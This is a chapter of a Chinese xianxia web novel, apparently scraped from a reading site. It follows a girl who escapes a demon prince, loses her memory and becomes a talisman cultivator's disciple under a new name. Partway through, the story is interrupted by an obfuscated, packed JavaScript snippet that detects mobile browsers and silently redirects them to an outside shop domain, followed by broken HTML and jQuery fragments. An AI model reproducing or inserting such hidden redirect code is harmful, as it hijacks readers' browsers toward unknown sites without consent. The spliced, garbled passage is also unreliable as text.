2. 她不会烧傻了吧
作品:《死遁后和同门给自己烧纸》 直到宁祈安全须全尾地站在魔族境外的时候,还是装作没有完完全全反应过来。
宁祈安回想刚刚的那位魔族少主,不像是之间贱得跟畜牲一样,倒像是完全变了个人。
他说:“他不同意我放走你,所以这几天我一直没有机会出来,赶紧走吧,等会他就要出来了。”
宁祈安不知道“他”是谁,也不想知道,她只知道她不是很会诊病,但是很会用药用符。
走之时,手里拿着一个珠子,里面不是防御法器就是符箓,要么就是药。
傀儡术不仅仅只有机关操纵一种办法,药物控制和符箓也是办法。
虽然她还没有实践过,但是她看过姐姐练习过,很好理解。
在进入魔界,一开始就对这位身体不好的魔族少主熏了熏药,几天过去显然药物对魔族无用。
但是她这几天发现,这里的看守不会搜查魔族少主的身,傀儡符控制,再用隐匿符屏蔽,“他”出不来是符箓生效了。
她并不想回去,因为她能带来这一次的灾难,往后如果“他”出来了,会不会再带来一次灾难?也不知道该怎么面对那浑身血腥味的阿爹。
宁祈安知道在这种分界处一般会有大宗门巡逻,寻着路找多多少少会找到站点。
宁祈安小心谨慎地走着,就听见一阵阵细小的声音,一路走着,手里紧紧拿着防御法器。
坏消息:宁祈安还没找到站点。
更坏的消息:她捡到人了——瘸腿的人。
“嘶”,青垣第一次见宁祈安的第一印象就是怎么会有小孩这么邋遢,然后反应过来,“你是人是鬼?”
这种地方怎么会有人?还是个小孩。
宁祈安没有那么多力气回应他,但是见到跟自己差不多大的同类,心里总算有些安全感了。
青垣见宁祁安不说话,“还是说是哑巴?”
宁祈安酸甜苦辣咸都吃遍了也从来不在嘴上吃亏,看着眼前半天不起来的人,脑子都没跟上嘴,“那你是甲沟炎犯了吗?”
“我师傅飞得时候不看后面,我在天上掉下来了”青垣咬牙切齿,“现在身上摸哪哪疼。”
宁祈安恍然大悟,“你等等。”
她看过跌打损伤要用草九,找来要随便砸了几下就敷到青垣的手上。
青垣不解,“为什么要敷在我的手上。”
“不是你说你摸哪里哪里疼吗?”
青垣不解,但是,“谢谢你啊。”
青垣强起身,他不是很指望他那个师父能找到他,等到找到了他可能都重新拜师门了。
两个人搀扶着,总归青垣是个认识路的,宁祈安重新找了一个隐匿气息的法器,虽然宁祈安有些着急,但奈何不能扔下这个病号,只能慢慢走着。
……
“那哪个猪投胎上你齐白商身上了,也是倒了血霉了,上辈子是猪,投了个胎这辈子还不如猪。”
“符越,你又骂我,你等着,等我回去告...”
“告告告,告到宗门告到掌门那里,告的全修真界都知道你把你徒弟弄丢了。”
周边有一群人在拉架,“好了好了符师姐,现在当务之急是把孩子找到,索性正事已经办完了,周边的结界也检查补充完了,也不用担心被魔族抓了。”
他们本次的任务是负责检查和修复这里的结界,结界不对人起作用,只会对魔起到攻击作用和把信息传送出去的作用。
索性那个丢了的小子不和他师父一样,应当不会主动穿过结界。
两个小孩在门外听完了前因后果,青垣示意宁祈安松手,“哐”一下倒在地上打了几个滚,不一会就和宁祈安好几天不打理的样子一模一样。
宁祈安一看就知道他是什么主意,“你这样还不行,还得这样。”
说着,伸手捏了一下青垣受伤的小腿,就一下,青垣疼得眼眶都红了,再出声,就带着些哭腔。
“师叔,我再也不要跟我师父出去了。”
齐白商和符越匆忙出来,映入眼帘的就是让大人青筋暴起的浑身泥巴。
但齐白商一想泥巴的来源,也就心虚了起来,看了看符越,“唉?师妹,你看看这小子拐了个小孩。”
这小子可傲娇,要是想哄好他可不容易,索性现在还小,转移一下话题过几天就忘了。
符越蹲下身来,和宁祈安平视,语气放缓了一些,“你是在哪里来的呀?叫什么名字?知不知道父母在哪里?”
宁祈安不想回去,怕以后连累了临春古渡的百姓,也不知道该怎么面对阿爹,更不知道现在该回答哪个问题。
这三个信息哪一个都有暴露身份的风险,她只能含糊其辞,宁祈安点点头,又摇了摇头,“我叫安安。”
宁祈安原本穿了一件粉色衣裙,外面套着带着白色毛绒的夹袄,腰上还挂着绣着胖嘟嘟的珍珠鸟,脖子上挂着一颗红色珠子。
经历了几天的奔波已经粉的变黑色,白的变灰的了,身上还沾着几块血迹。
宁祈安虽然知道这是人,但是她也知道人也分好坏,但面前这个人说话这么温柔,应当是好人吧?
符越看着她犹豫,但她们宗门从来不用令牌之类的物品表示身份,只能把求助的眼神放到齐白商那里。
齐白商一边示意自己的徒弟去牵宁祈安,一边对着符越说:“大师姐她们去支援临春古渡了,应该用不了多久就能回来,等他们回来再商议吧,先给他们俩收拾收拾。”
宁祈安听见他们所说的话去支援临春古渡的人,肯定是好人于是顺势被青垣牵着进去了,再者,她也想知道临春古渡怎么样了。
虽然符越捏了几个清洁咒干净了,但是没有小女孩穿的衣服,只得找了青垣的衣服。
到了安全的环境,宁祈安看似稳定实则紧绷的弦终于放松了,身体也慢慢不再紧绷。
青垣也累了一天了,齐白商给他看了看腿,看着也要打瞌睡了。
寻思着是小孩就让他们在同一张床上睡了。
宁祈安睡的浑浑噩噩,周围一片漆黑,仿佛又回到了那个阴暗潮湿的地牢里,睡也不敢睡,吃喝也不敢吃。
那个魔族少主仿佛变成了两个人,不顾她夹在中间,自顾自争吵起来。
“你放走了她,凭什么,有了她不光能好好活着,也能分裂开,还能获着突飞猛进的修炼速度,你这样为什么要生在魔族?”
“你以为我放了她是为了什么?他们蠢你也蠢吗?”
说话的是那个放她走的,“千万年以来才出来的天品木灵根,吃了她还不等修炼咱就被天道弄死了吧?等到她修炼到一定地步,等她自己自愿成为我们的养料。”
忽明忽暗间,又看见身后父母的哭喊,姐姐的抽泣,和活着的百姓搭起的塑像。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206410|197361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
又是一闪,蒋盟哥哥和死去的百姓招呼着她赶紧回去。
猛得,她意识突然清晰,但是依旧睁不开眼睛,只能隐隐约约听见外面的声音。
“大师姐,临春古渡那边怎么样了?”
临春古渡遭遇入侵第二天,他们接到消息赶紧赶过去,符越和齐白商负责看除了临春古渡地方的边界。
“伤亡近四成,但已经派人重建了。”
“唉,可惜了,听说城主的小女儿也遭遇不测了,又有多少个小孩也遭遇不测。”
“放心吧,已经派我宗驻扎了,之前中间隔着那样一座城,我们别无他法,现在不管怎样,我们也要在那里安排人。”
“那就好,记得办道场超度。”
“放心吧,老二留在那里安排呢。”
听到这里,宁祈安的心终于放了下来,脑子“嗡”一声又陷入了沉睡,身下像是松散的棉花,柔软但又想坠下去。
仿佛,有些东西在一点一点流失。
…
再次醒来,他们仿佛换了一个地方。
青垣看着宁祈安从睡着到回到宗门一直没有醒过,看着她终于眯起一条缝,“你终于醒了,我还以为你要烧傻了。”
说着慢慢探了探宁祈安的额头。
宁祈安脑子有点懵懵的,她好像丢了些东西,还有,“你是谁?”
青垣仔细想了想,“我好像是没告诉你我的名字,我叫青垣,你大名还没告诉我呢?“
宁祈安脑子一片空白,“我不知道。”
这句话落下,符越和齐白商走了进来,刚好听到了这句话。
青垣担忧地问:“师父,她真的烧傻了。”
“你二师叔说她,忧思过度起热,到底还是个小孩,忘记了倒也不是什么坏事。”
二师兄的卦象说:弃往日忧思,得来日精进,这孩子天生就该他们问鼎宗的人。
现在,顺其自然便好。
符越蹲下身来,像第一次见面一样,语气温和,“我叫符越,是你的师父,而你的名字叫符苍明。”
天品木灵根,难怪二师兄说天生就该是他们问鼎宗的苗子。
既然是木灵根,自然跟符越当个符修最好,衔天地之灵气,落笔浑然天成。
“符苍明?”
“对”,符越温声道:“我出生时,阿娘修炼进入瓶颈,希望我能走得比她更高,所以,我叫符越,而你,我希望你能肃清魔族,使得天下苍生的路途得以明朗,所以为苍明。。”
符越虚空落下三个大字:符苍明
清晨的阳光打在符苍明脸上,衬得眼睛透亮,声音也清脆充满活力,“师父。”
符越头一回当师父,而且还不是青垣那样总能把人气的半死的调子。
她觉得,这是她的第一个徒弟也是唯一一个,什么好东西都想给她。
“苍明,你放心,你的师父的符箓天下第一,问鼎宗的宗主是你师父的姐姐,我的意思是,不要怕没有人给你兜底。”
不过符越有些多虑了,后面的符苍明不仅不怕没有人兜底,还怕他们兜得不够多。
符苍明和青垣简直就是一个腹黑的疯子加上一个嘴毒的疯子。
俩疯子凑一块就是龙卷“疯”,一个出馊主意,一个实施。
简直就是一个精神不稳定牵着一条咬人的狗,指哪咬哪。

